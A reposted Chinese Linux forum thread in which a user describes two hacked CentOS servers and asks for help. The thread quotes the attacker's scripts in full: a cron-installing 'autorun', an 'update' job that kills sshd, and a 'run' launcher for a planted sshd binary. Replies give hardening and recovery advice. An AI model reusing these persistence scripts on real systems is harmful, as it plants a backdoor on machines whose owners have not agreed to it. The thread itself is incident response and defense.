当前位置:  技术问答>linux和unix

紧急求助!!高手快来呀!!服务器被黑了。谁能帮我??

    来源: 互联网  发布时间:2016-10-08

    本文导语:  公司有两台LINUX的服务器操作系统为CENTOS。分别为服务器A和B 昨天突然发现我从服务器A不能用SSH登录到服务器B但是直接用putty可以登录。我开始以为是网络或是SSH服务的问题,就重起了network和sshd服务,可是没有任何...

公司有两台LINUX的服务器操作系统为CENTOS。分别为服务器A和B
昨天突然发现我从服务器A不能用SSH登录到服务器B但是直接用putty可以登录。我开始以为是网络或是SSH服务的问题,就重起了network和sshd服务,可是没有任何做用。在重起的过程中还出现了一些莫名奇妙的错误。于是我重起了服务器,之后不但ssh登录不了,甚至连网络服务都没有正常起动。手动重起network服务网络恢复但同样还是报那些错误。
仔细看了一下提示是说有几个命令不能执行。而且都是几个系统的基础命令。如:
basename hostname rm
我在/bin目录下看了一眼,发现有几个命令的文件的时间标签都变成了。10-14 21:44 (我是14号下午3点左右发现的问题)、同时系统时间被置成了15号的2点多。我把这几个命令文件和公司的另几台CENTOS进行对比,发现文件的大小都变大了。发生变化的文件有basename hostname rm rmdir tar nice tcsh true usleep等等,而且这些命令都不能执行了。我从另一台机器上把这些文件COPY一份覆盖后命令恢复正常。

由于我的定时任务做的是定时同公司内的NTP服务对时所以我查看了,我的定时任务。发现定时任务被替换为
* * * * * /etc/ssh/update >/dev/null 2>&1
于是我去/etc/ssh目录下去查看发现里面多了好多文件。目录列表为(这是我把文件备份到WINDOWS下看的):
2009-06-25  16:16               318 autorun
2010-10-14  08:48                42 cron.d
2009-03-12  09:10           132,839 moduli
2010-10-14  08:48                 9 play.dir
2009-06-25  16:03                30 run
2008-10-01  21:39         2,312,471 sshd
2008-10-01  21:39         1,592,139 sshd-check-conf
2008-10-01  21:39         2,312,471 sshd2
2009-03-12  09:10             3,301 sshd_config
2009-03-12  09:10             1,827 ssh_config
2010-09-21  04:22               668 ssh_host_dsa_key
2010-09-21  04:22               590 ssh_host_dsa_key.pub
2010-09-21  04:22               963 ssh_host_key
2010-09-21  04:22               627 ssh_host_key.pub
2010-09-21  04:22             1,675 ssh_host_rsa_key
2010-09-21  04:22               382 ssh_host_rsa_key.pub
2010-10-14  08:48               155 update
其中的好多文件都不是系统中应该有的,而且文件的权限也都变了。在下面我贴出几个主要文件里的内容
autorun
#!/bin/sh
pwd > play.dir
dir=$(cat play.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=$(cat $dir/m.pid)
if $(killall -9 sshd >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

update
#!/bin/sh
if test -r /etc/ssh/m.pid; then
pid=$(cat /etc/ssh/m.pid)
if $(killall -9 sshd >/dev/null 2>&1)
then
exit 0
fi
fi
cd /etc/ssh
./run &>/dev/null

run
#!/bin/sh
export PATH=.
sshd

同时在/etc目录下发面一个名为ssh2的目录。目录内文件列表为
-rw-r--r-- 1 107 mail  828 2008-10-01 hostkey
-rw-r--r-- 1 107 mail  697 2008-10-01 hostkey.pub
-rw-r--r-- 1 107 mail  512 10-15 02:13 random_seed
-rw-r--r-- 1 107 mail 1900 2008-10-01 ssh2_config
-rw-r--r-- 1 107 mail 3921 2008-10-01 sshd2_config
-rw-r--r-- 1 107 mail  122 2008-10-01 ssh_dummy_shell.out
下面帖出主要的几个文件的内容:
hostkey
---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----
Subject: root
Comment: "1024-bit dsa hostkey"
P2/56wAAAgIAAAAmZGwtbW9kcHtzaWdue2RzYS1uaXN0LXNoYTF9LGRoe3BsYWlufX0AAA
AEbm9uZQAAAcQAAAHAAAAAAAAABACxrI3ytitwU5Gx5OMCr2Z+TGyitwQ21VqXWjy+vF64
YlywGlXyN5XCeRDSwJ3v7n0mYT9+utNG79HnY9uxtByoFQlLIElHpQTFdloR6LLlZ1JmCG
tyM/rmtuEylr/1xcN04ZTcAp6+xtHCLv5adxbf1UFfIMsdzqkgL5VD2O72EQAAA/wOfpvx
E5O2bvz4XHh71NvdS+sIwRhTQR7k4PwyQItKW47COjBfeoIJ+AOg+/2Jt9sUqtxJdeoL8e
6PApRNsBbLTYr70IO33F1lZ2Z6gmtY8yEpOPyAN16A3b658sAOXHGmCoexkMSPluvr/3HI
6AOtcTzacQA/Yr1J8lsip9b5FgAAAKDzRztTw52Cd5tqcJIuBSyEZ7aRzQAAA/4hQ55FwH
CKuvm5YsDM8KyVJ+BnPeHujHsMTdrtzAFdX8y69UDMaIJvzQVJ78+XCwj19D7Rhxg9akG8
ZcZX3tFxAJVj1rt40lUTpV4NDP/YNImxTbQupPgq/fjrHf9ro6SRo5VLkp/U9jkmCh4NB/
BjJereXv6Kxq/e1kM2er+e+AAAAKCqTHTmhGwUOvQmr727lVj+FN8GNA==
---- END SSH2 ENCRYPTED PRIVATE KEY ----

ssh2_config
.*:
其它还有很多行但都被注起来了

ssh_dummy_shell.out
This is ssh-dummy-shell.  Edit $(ETCDIR)/ssh2/ssh_dummy_shell.out
in order to alter this message.

Press any key to exit.

sshd2_config
        Port                            22
        subsystem-sftp                  sftp-server
同样还有很多行被注示起来了。

我把/etc/ssh目录下对照正常的服务器的/etc/ssh目录把多余的文件删除后重新起动sshd服务ssh恢复正常

以上是服务器A发现的问题

后发现服务器B也同样不能从其它的LINUX服务器登录只能用putty登录
于是进行同样的检查。发现定时任务和/etc/ssh目录和服务器A一样发生了变化。但/bin目录下的命令文件没有发生变化
但是在清理了/etc/ssh目录下的多余文件并重起sshd服务后ssh登录不能恢复正常。


请问高手们,有谁遇到过这样的事情。
对方对我的系统都做了些什么?我的服务器是否还能用,是不是必须重新做系统?我以后怎样防止这种事情的发生?
请大家都来帮帮我。

另外我的服务器B现在还不能用ssh正常登录。只能用putty登录。我要怎么做才能让它恢复?

|
这事不好办哦  能重装尽量重装
别的服务器赶紧改密码 重新生成密钥  加强防火墙

|
主要问题在于, 他用/etc/ssh/sshd替换了系统原来的/usr/sbin/sshd
这个/etc/ssh/sshd做了些什么就不知道了, 是二进制文件还是脚本?


建议, 
1. 取消Password方认证, 改用ssh key方式认证
2. 取消root远程登录方式, 只允许普通用户登录, 需要root权限, 先登录普通用户, 再sudo切换
3. 打开主机iptables, 只允许有限端口连接.
4. 查看系统所有进程, kill可疑进程
5. 系统恢复, 主要是系统的binary命令, 防止已经被恶意替换, 在CentOS上运行rpm -Va, 着重查看输出第三位'5'即md5有变化的binary程序.


|
刚看了一个被用ssh攻击的。。。lz都查看下log,看看有什么可疑情况没有吧

然后就是加强你的保护了

|
顶一下吧,呵呵
不过我觉得先把任务计划干掉吧,不然他每隔一分钟就执行一次,挺可怕的
* * * * * /etc/ssh/update >/dev/null 2>&1


    
 
 

您可能感兴趣的文章:

  • 【求助】iplanet问题,求助高手解答!
  • 求助ftp编程高手一个问题----有关免费包libftp-5.0
  • 求助!高手帮忙
  • 向高手求助Linux下网络包转发的问题!!!!!!!
  • 内存问题,向各位高手求助!!!
  • 求助linux高手!redhat6.2登陆问题
  • 求助 ==> 代码移殖:从Linux到的Windows,请高手指点一二,谢谢啦
  • 求助高手,在VMware环境下安装完RedHat 9.0之后无法激活网卡
  • 高手求助!!!
  • 向玩cs的linux高手求助。。。。。。
  • 救命~~求助~~iptables高手请进
  • 关于共享存储段的使用,求助高手
  • 求助,关于显卡驱动的安装,高手请进,谢谢
  • 高手!高分求助applet的部署!
  • 小弟求助高手,多谢
  • 求助高手:登陆时的问题
  • 求助:非高手勿进
  • JSP 网站奇怪的问题,求助高手,急急急!!!!!!
  • [在线求助]一条关于sed的命令,高手进阿
  • 求助高手
  • red hat怎么安装gcc啊!总是出错,求助求助啊!!!yum源怎么改啊!! iis7站长之家
  • 【求助】如何通过外网访问Linux服务器?
  • linux配置samba服务器求助!!!
  • 我们的服务器受到攻击,求助
  • [急求助]Linux服务器无法远程访问 - 在线恭候
  • 求助! 如何获取服务器的剩余磁盘空间?
  • redhat 8.0服务器的网卡指示灯不亮的问题?在线求助,紧急!!
  • 求助:LINUX下邮件服务器的架设!
  • 美女求助:linux下如何配置邮件服务器???加急!!!
  • 紧急求助:服务器内存的问题!!!
  • 求助关于服务器的问题
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 高分求助高分求助高分求助高分求助高分求助高分求助
  • 怎样读取HZK24S前十区的内容啊???求助求助
  • 紧急求助!紧急求助!
  • 菜鸟求助,solaris下计算问题求助
  • 【求助】SOS紧急求助..............极为简单的问题...跪求....
  • 高分求助啊!求助SUSE 10.0 不能上网.
  • 急急急急急急急啊,紧急求助啊!!!!!满分求助啊!!!!!!
  • 求助:linux下 vim的配置(高分求助)
  • red hat怎么安装gcc啊!总是出错,求助求助啊!!!yum源怎么改啊!!
  • 求助~~求助 ~~linux文件读写问题
  • 求助:信号 --13 进程中断
  • 求助,安装了红帽子后进不了
  • 新装linux求助
  • linux的 iptables问题求助
  • (高分求助)请问,那里有软件开发的<设计文档>
  • 一个简单的问题,高分求助!!!
  • 紧急求助:Unix下给文件夹重命名用什么命令?谢谢!!!!
  • VJ的一个问题,高分求助,熟悉VJ得请进!
  • 高分求助
  • 紧急求助java多线程编程!!!!!!!!!!!!!


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3